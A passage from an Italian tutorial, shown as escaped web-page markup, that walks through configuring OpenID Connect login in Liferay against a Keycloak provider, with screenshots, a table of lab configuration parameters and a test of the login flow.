&lt;em&gt;Enabled&lt;/em&gt; e salvare la configurazione (vedi le due figure a seguire).&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/d63d1b1b92b88cc7f5833d1ab43f3df0/e1b7c/accesso-configurazione-sso-liferay.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:44.66666666666667%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;179\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20179\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2090v90l1-74%201-74h397v73a1013%201013%200%20002-16V0H0v90m0%200\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/d63d1b1b92b88cc7f5833d1ab43f3df0/c85cb/accesso-configurazione-sso-liferay.webp 300w,/static/d63d1b1b92b88cc7f5833d1ab43f3df0/e88ff/accesso-configurazione-sso-liferay.webp 600w,/static/d63d1b1b92b88cc7f5833d1ab43f3df0/92f8c/accesso-configurazione-sso-liferay.webp 1200w,/static/d63d1b1b92b88cc7f5833d1ab43f3df0/e9cac/accesso-configurazione-sso-liferay.webp 1449w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/d63d1b1b92b88cc7f5833d1ab43f3df0/5a46d/accesso-configurazione-sso-liferay.png 300w,/static/d63d1b1b92b88cc7f5833d1ab43f3df0/0a47e/accesso-configurazione-sso-liferay.png 600w,/static/d63d1b1b92b88cc7f5833d1ab43f3df0/c1b63/accesso-configurazione-sso-liferay.png 1200w,/static/d63d1b1b92b88cc7f5833d1ab43f3df0/e1b7c/accesso-configurazione-sso-liferay.png 1449w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 13 - Accesso alla configurazione dei sistemi SSO&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/d63d1b1b92b88cc7f5833d1ab43f3df0/c1b63/accesso-configurazione-sso-liferay.png&quot; title=&quot;Figura 13 - Accesso alla configurazione dei sistemi SSO&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 13 - Accesso alla configurazione dei sistemi SSO&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/9d3594f1e379eec53a83b2e06e0ddae8/c679a/liferay-abilitazione-openid-connect.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:41%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;164\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20164\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M116%2037c-1%202%201%206%203%204l3%201h1l3-1c5%200%206%200%206-2h1l2%202%203%201c3%200%205-3%204-5s-7-2-7%200l-14-1c-2-2-4-1-5%201m29-1c-1%202-1%203%201%205h4c2%201%206%200%206-2h1l2%202%202-2%201%201%201%201h10c1%200%202-1%201-2%200-2%200-2-2-2-5%201-21%200-23-1h-4m-29%2098l-1%207%201%207h24v-7c0-5%200-7-2-7h-22\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/9d3594f1e379eec53a83b2e06e0ddae8/c85cb/liferay-abilitazione-openid-connect.webp 300w,/static/9d3594f1e379eec53a83b2e06e0ddae8/e88ff/liferay-abilitazione-openid-connect.webp 600w,/static/9d3594f1e379eec53a83b2e06e0ddae8/92f8c/liferay-abilitazione-openid-connect.webp 1200w,/static/9d3594f1e379eec53a83b2e06e0ddae8/62ed8/liferay-abilitazione-openid-connect.webp 1800w,/static/9d3594f1e379eec53a83b2e06e0ddae8/46261/liferay-abilitazione-openid-connect.webp 2400w,/static/9d3594f1e379eec53a83b2e06e0ddae8/6b080/liferay-abilitazione-openid-connect.webp 2460w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/9d3594f1e379eec53a83b2e06e0ddae8/5a46d/liferay-abilitazione-openid-connect.png 300w,/static/9d3594f1e379eec53a83b2e06e0ddae8/0a47e/liferay-abilitazione-openid-connect.png 600w,/static/9d3594f1e379eec53a83b2e06e0ddae8/c1b63/liferay-abilitazione-openid-connect.png 1200w,/static/9d3594f1e379eec53a83b2e06e0ddae8/d61c2/liferay-abilitazione-openid-connect.png 1800w,/static/9d3594f1e379eec53a83b2e06e0ddae8/97a96/liferay-abilitazione-openid-connect.png 2400w,/static/9d3594f1e379eec53a83b2e06e0ddae8/c679a/liferay-abilitazione-openid-connect.png 2460w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 14 - Abilitazione dell&amp;#x27;autenticazione via OpenID Connect&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/9d3594f1e379eec53a83b2e06e0ddae8/c1b63/liferay-abilitazione-openid-connect.png&quot; title=&quot;Figura 14 - Abilitazione dell&amp;#x27;autenticazione via OpenID Connect&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 14 - Abilitazione dell&amp;#x27;autenticazione via OpenID Connect&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;p&gt;A questo punto occorre spostarsi sul tab &lt;em&gt;OpenID Connect Provider&lt;/em&gt; per inserire
tutti i parametri di configurazione che riguardano il servizio dell’Identity
Provider (OpenID Connect) configurato in precedenza su Keycloak.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;width:400px&quot;&gt;Parametro&lt;/th&gt;&lt;th style=&quot;width:400px&quot;&gt;Valore&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Provider Name&lt;/td&gt;&lt;td&gt;iam-keycloak-oidc&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;OpenID Connect Client ID&lt;/td&gt;&lt;td&gt;liferay-portal-client&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;OpenID connect client secret&lt;/td&gt;&lt;td&gt;8562bd93-8ccd-4426-bf7a-681ac9e38a32&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Authorization Endpoint&lt;/td&gt;&lt;td&gt;https://iam.smc.lab.local/auth/realms/smc-lab-local-realm/protocol/openid-connect/auth &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Issuer URL&lt;/td&gt;&lt;td&gt;https://iam.smc.lab.local/auth/realms/smc-lab-local-realm&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;JWKS URI&lt;/td&gt;&lt;td&gt;https://iam.smc.lab.local/auth/realms/smc-lab-local-realm/protocol/openid-connect/certs&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Subject Type&lt;/td&gt;&lt;td&gt;public&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Token Endpoint&lt;/td&gt;&lt;td&gt;https://iam.smc.lab.local/auth/realms/smc-lab-local-realm/protocol/openid-connect/token &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;User Information Endpoint&lt;/td&gt;&lt;td&gt;https://iam.smc.lab.local/auth/realms/smc-lab-local-realm/protocol/openid-connect/userinfo &lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;figcaption&gt;Tabella 3 – Parametri di configurazione del Provider OpenID Connect&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Le due figure a seguire (15 A e 16 B) mostrano la maschera di configurazione
dell’OpenID Connect Provider che riporta i parametri di configurazione così come
indicati nella tabella precedente.&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:937px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/96eefb753d2db104d8117b969195a829/98b29/liferay-configurazione-openid-connect-1.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:101.66666666666666%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;406\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20406\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M108%2030c0%203%200%203%203%203s4-1%204-2h1c0%202%204%202%204%201l2-1%201%201h9c-1%203%201%202%202%200h1l8%201c8%200%209%200%209-3l-1-1-1-1h-4l-1%201h-4l-1-1h-1l-2%201h-5l-3-1h-4l-1-1-1%202c0%201-3%202-3%200l-5-1h-5l-1-1-1%203m20%2020h-5c-5%200-7%201-5%203h15c1-1%201-1%201%201h8l6-1h1l6%201c4%200%205%200%205-2s0-2-6-2h-26m-11%2057c-1%202%201%203%206%202l6%201h1c2-2%204-2%204-1l7-1h1c0%202%204%203%206%201h1c3%201%2013%201%2013-1s-1-2-4-2h-13l-2%201-8-1h-13c-3-1-4%200-5%201m1%2056v2a129%20129%200%200026%200h29c2%201%205%200%205-2l1%201%201%201h6c3%201%205%201%206-2%200-2-3-3-6-1h-41l-1%201-2-1h-19c0-2-5-1-5%201m75%200c0%202-1%202%2015%202%2012%200%2013%200%2013-2%200-1-1-2-3-2s-3%200-2%202h-1l-2-1h-1l-3-1c-2%200-3%200-2%202h-1l-2-1h-1l-2-1c-4%202-6%202-7%201s-1%200-1%201m-76%20205a1545%201545%200%200085-1%2091%2091%200%2000-23%200c-4-1-16%200-16%201h-1c-1-2-7-2-7%200l-1%201-1-1c0-1-1-2-4-2s-5%201-5%202h-2c-1-1-4-2-13-2-11%200-12%200-12%202m98%200c-2%202%201%202%2013%202l11-1h1l12%201h2l18%201%201-1h8l2-1h19l9%201c11%200%2011%200%2011-2-1-2-27-2-30-1h-3a345%20345%200%2000-53%200h-13c-2-1-6-1-8%201\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/96eefb753d2db104d8117b969195a829/c85cb/liferay-configurazione-openid-connect-1.webp 300w,/static/96eefb753d2db104d8117b969195a829/e88ff/liferay-configurazione-openid-connect-1.webp 600w,/static/96eefb753d2db104d8117b969195a829/ff430/liferay-configurazione-openid-connect-1.webp 937w&quot; sizes=&quot;(max-width: 937px) 100vw, 937px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/96eefb753d2db104d8117b969195a829/5a46d/liferay-configurazione-openid-connect-1.png 300w,/static/96eefb753d2db104d8117b969195a829/0a47e/liferay-configurazione-openid-connect-1.png 600w,/static/96eefb753d2db104d8117b969195a829/98b29/liferay-configurazione-openid-connect-1.png 937w&quot; sizes=&quot;(max-width: 937px) 100vw, 937px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 15 (A) - Configurazione dell&amp;#x27;OpenID Connect Provider&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/96eefb753d2db104d8117b969195a829/98b29/liferay-configurazione-openid-connect-1.png&quot; title=&quot;Figura 15 (A) - Configurazione dell&amp;#x27;OpenID Connect Provider&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 15 (A) - Configurazione dell&amp;#x27;OpenID Connect Provider&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:937px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/969f3638ed85a02a1afa42f1b31f5e03/98b29/liferay-configurazione-openid-connect-2.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:94.33333333333334%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;377\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20377\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M118%2034c0%202-4%202%2039%202a358%20358%200%200152%200l5-1v-1c1-1-1-1-4-1h-7a88%2088%200%2000-23%200c-3-1-16-1-16%201h-2c-2-2-7-2-7%200l-2%201v-1c1-1%200-1-4-1-3%200-5%200-4%201l-1%201-1-1-13-1c-11-1-12-1-12%201m98%200c-1%201-1%201%201%201a84%2084%200%200024%200l6%201%205-1c0-2-4-3-10-2h-16l-2%201c-3-2-7-2-8%200m-98%2056c0%202-4%202%2039%202a358%20358%200%200152%200l5-1v-1l1-1h-12a79%2079%200%2000-23%200c-3-1-16-1-16%201h-2c-2-2-7-2-7%200l-2%201v-1c2-1%202-1-4-1l-4%201h-2l-13-1c-11-1-12-1-12%201m98%200c-2%202%201%202%2013%202l11-1h1l22%201%209%201%202-1h1c2%201%208%200%209-1h19l3%201%203-1%202%201h5l4-1v-1l1%201%202%201c2%200%202-1%201-3a141%20141%200%2000-34%200%20415%20415%200%2000-66%201c-3-2-7-2-8%200m-98%20187c0%202-4%202%2039%202a358%20358%200%200152%200l5-1v-1l1-1h-11l-1%201c-1-2-39-2-39%200h-2c-2-2-7-2-7%200l-2%201v-1c2-1%202-1-4-1l-4%201h-2l-13-2c-11%200-12%200-12%202m98%200c-2%201%201%202%2013%202l11-1h1l22%201%209%201%202-1h1c2%201%208%200%209-1h19l3%201%203-1%202%201%201%201%206-1%206-1h2c-1-2-1-2-16-2h-20a364%20364%200%2000-66%200c-2-1-7-1-8%201m-98%2056a554%20554%200%200079%202h12l5-1v-1l1-1-26-1c-22%200-25%201-25%202h-1c-1-2-8-2-8%200l-2%201v-1c3-1%201-2-4-2l-4%202h-2c-1-2-11-2-11%200l-1%201-1-1-6-2c-5%200-6%200-6%202m98%200c-2%201%201%202%2013%202l11-1h1l23%201%209%201%201-1h8l2-1h19l3%201h11l5-1h4l2%201%202-1%201-1h1a157%20157%200%2000-42-1%20358%20358%200%2000-66%200c-2-1-7-1-8%201\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/969f3638ed85a02a1afa42f1b31f5e03/c85cb/liferay-configurazione-openid-connect-2.webp 300w,/static/969f3638ed85a02a1afa42f1b31f5e03/e88ff/liferay-configurazione-openid-connect-2.webp 600w,/static/969f3638ed85a02a1afa42f1b31f5e03/ff430/liferay-configurazione-openid-connect-2.webp 937w&quot; sizes=&quot;(max-width: 937px) 100vw, 937px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/969f3638ed85a02a1afa42f1b31f5e03/5a46d/liferay-configurazione-openid-connect-2.png 300w,/static/969f3638ed85a02a1afa42f1b31f5e03/0a47e/liferay-configurazione-openid-connect-2.png 600w,/static/969f3638ed85a02a1afa42f1b31f5e03/98b29/liferay-configurazione-openid-connect-2.png 937w&quot; sizes=&quot;(max-width: 937px) 100vw, 937px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 15 (B) - Configurazione dell&amp;#x27;OpenID Connect Provider&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/969f3638ed85a02a1afa42f1b31f5e03/98b29/liferay-configurazione-openid-connect-2.png&quot; title=&quot;Figura 15 (B) - Configurazione dell&amp;#x27;OpenID Connect Provider&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 15 (B) - Configurazione dell&amp;#x27;OpenID Connect Provider&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/0dcacdae71c5a440aac7511258e95dc8/4352a/liferay-configurazione-openid-connect-saved.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:35%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;140\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20140\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M179%2045l-7%201c-7-1-8-1-8%202%200%202%200%202%203%201h2l9%201h9c1%202%205-1%205-3l-3-1h-6c-1%201-2%201-2-1h-2m-71%201c0%203%201%204%204%204%201-1%202%200%202%201h1l9-1c8%200%209-1%209-2%200-3-1-3-12-2h-13m27%201c0%203%200%203%208%203l7-1h1l1%201h7c3%200%204%200%203-2l-1-2h-22c-1-2-4-1-4%201m-27%2018c1%202%2011%202%2012%200h1c1%202%2013%202%2014%200h3c2%202%208%201%208-1h-14l-2-1-2%201h-1c-1-2-19-1-19%201\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/0dcacdae71c5a440aac7511258e95dc8/c85cb/liferay-configurazione-openid-connect-saved.webp 300w,/static/0dcacdae71c5a440aac7511258e95dc8/e88ff/liferay-configurazione-openid-connect-saved.webp 600w,/static/0dcacdae71c5a440aac7511258e95dc8/92f8c/liferay-configurazione-openid-connect-saved.webp 1200w,/static/0dcacdae71c5a440aac7511258e95dc8/1bc7b/liferay-configurazione-openid-connect-saved.webp 1364w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/0dcacdae71c5a440aac7511258e95dc8/5a46d/liferay-configurazione-openid-connect-saved.png 300w,/static/0dcacdae71c5a440aac7511258e95dc8/0a47e/liferay-configurazione-openid-connect-saved.png 600w,/static/0dcacdae71c5a440aac7511258e95dc8/c1b63/liferay-configurazione-openid-connect-saved.png 1200w,/static/0dcacdae71c5a440aac7511258e95dc8/4352a/liferay-configurazione-openid-connect-saved.png 1364w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 16 - Configurazione OpenID Connect Provider iam-keycloak-oidc salvata&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/0dcacdae71c5a440aac7511258e95dc8/c1b63/liferay-configurazione-openid-connect-saved.png&quot; title=&quot;Figura 16 - Configurazione OpenID Connect Provider iam-keycloak-oidc salvata&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 16 - Configurazione OpenID Connect Provider iam-keycloak-oidc salvata&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;p&gt;A questo punto la configurazione di OpenID Connect su Liferay è conclusa.
È possibile quindi procedere con un test di accesso.&lt;/p&gt;&lt;h2 id=&quot;4---accesso-a-liferay&quot;&gt;4 - Accesso a Liferay&lt;/h2&gt;&lt;p&gt;Adesso è possibile accedere al portale Liferay utilizzando il protocollo OpenID
Connect e testare in questo modo la corretta configurazione.&lt;/p&gt;&lt;p&gt;Dal momento che si attiva l’OpenID Connect, la portlet di Login standard di
Liferay mostra il link di accesso via OpenID Connect, così come mostrato dalla
figura a seguire.&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/e7a89c99bd9704dcbd523c2de3bdfdde/c4451/liferay-accesso-via-openid-connect-login-form.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:49.66666666666666%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;199\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20199\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%20100v99h401V0H0v100m118-66l-1%2064%201%2063h164V33h-82l-82%201m7%2092l-1%205v5h22l1-5v-5l-11-1-11%201\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/e7a89c99bd9704dcbd523c2de3bdfdde/c85cb/liferay-accesso-via-openid-connect-login-form.webp 300w,/static/e7a89c99bd9704dcbd523c2de3bdfdde/e88ff/liferay-accesso-via-openid-connect-login-form.webp 600w,/static/e7a89c99bd9704dcbd523c2de3bdfdde/92f8c/liferay-accesso-via-openid-connect-login-form.webp 1200w,/static/e7a89c99bd9704dcbd523c2de3bdfdde/a7dc3/liferay-accesso-via-openid-connect-login-form.webp 1450w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/e7a89c99bd9704dcbd523c2de3bdfdde/5a46d/liferay-accesso-via-openid-connect-login-form.png 300w,/static/e7a89c99bd9704dcbd523c2de3bdfdde/0a47e/liferay-accesso-via-openid-connect-login-form.png 600w,/static/e7a89c99bd9704dcbd523c2de3bdfdde/c1b63/liferay-accesso-via-openid-connect-login-form.png 1200w,/static/e7a89c99bd9704dcbd523c2de3bdfdde/c4451/liferay-accesso-via-openid-connect-login-form.png 1450w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 17 - Accesso OpenID Connect tramite il link OpenID Connect esposto sulla portlet di Login standard di Liferay&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/e7a89c99bd9704dcbd523c2de3bdfdde/c1b63/liferay-accesso-via-openid-connect-login-form.png&quot; title=&quot;Figura 17 - Accesso OpenID Connect tramite il link OpenID Connect esposto sulla portlet di Login standard di Liferay&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 17 - Accesso OpenID Connect tramite il link OpenID Connect esposto sulla portlet di Login standard di Liferay&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Nel momento in cui l’utente clicca sul link OpenID Connect, questo è rediretto
alla pagina da dove l’utente può selezionare il Provider di autenticazione
(vedi figura a seguire). &lt;strong&gt;È possibile avere più provider di autenticazione&lt;/strong&gt;, ecco
il motivo per cui è data la possibilità della scelta. Nel nostro caso abbiamo un
solo provider che si chiama &lt;em&gt;iam-keycloak-oidc&lt;/em&gt;, il nome assegnato in fase di
configurazione.&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/39c1f6ef7ef473dcc2455e9de5166b71/2eb79/liferay-accesso-via-openid-connect-selezione-provider.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:35.333333333333336%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;142\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20142\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M9%207c-3%203-2%207%202%208s5%200%207-3c2-5-5-10-9-5m0%2079l1%207h26V81l-14-1H9v6\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
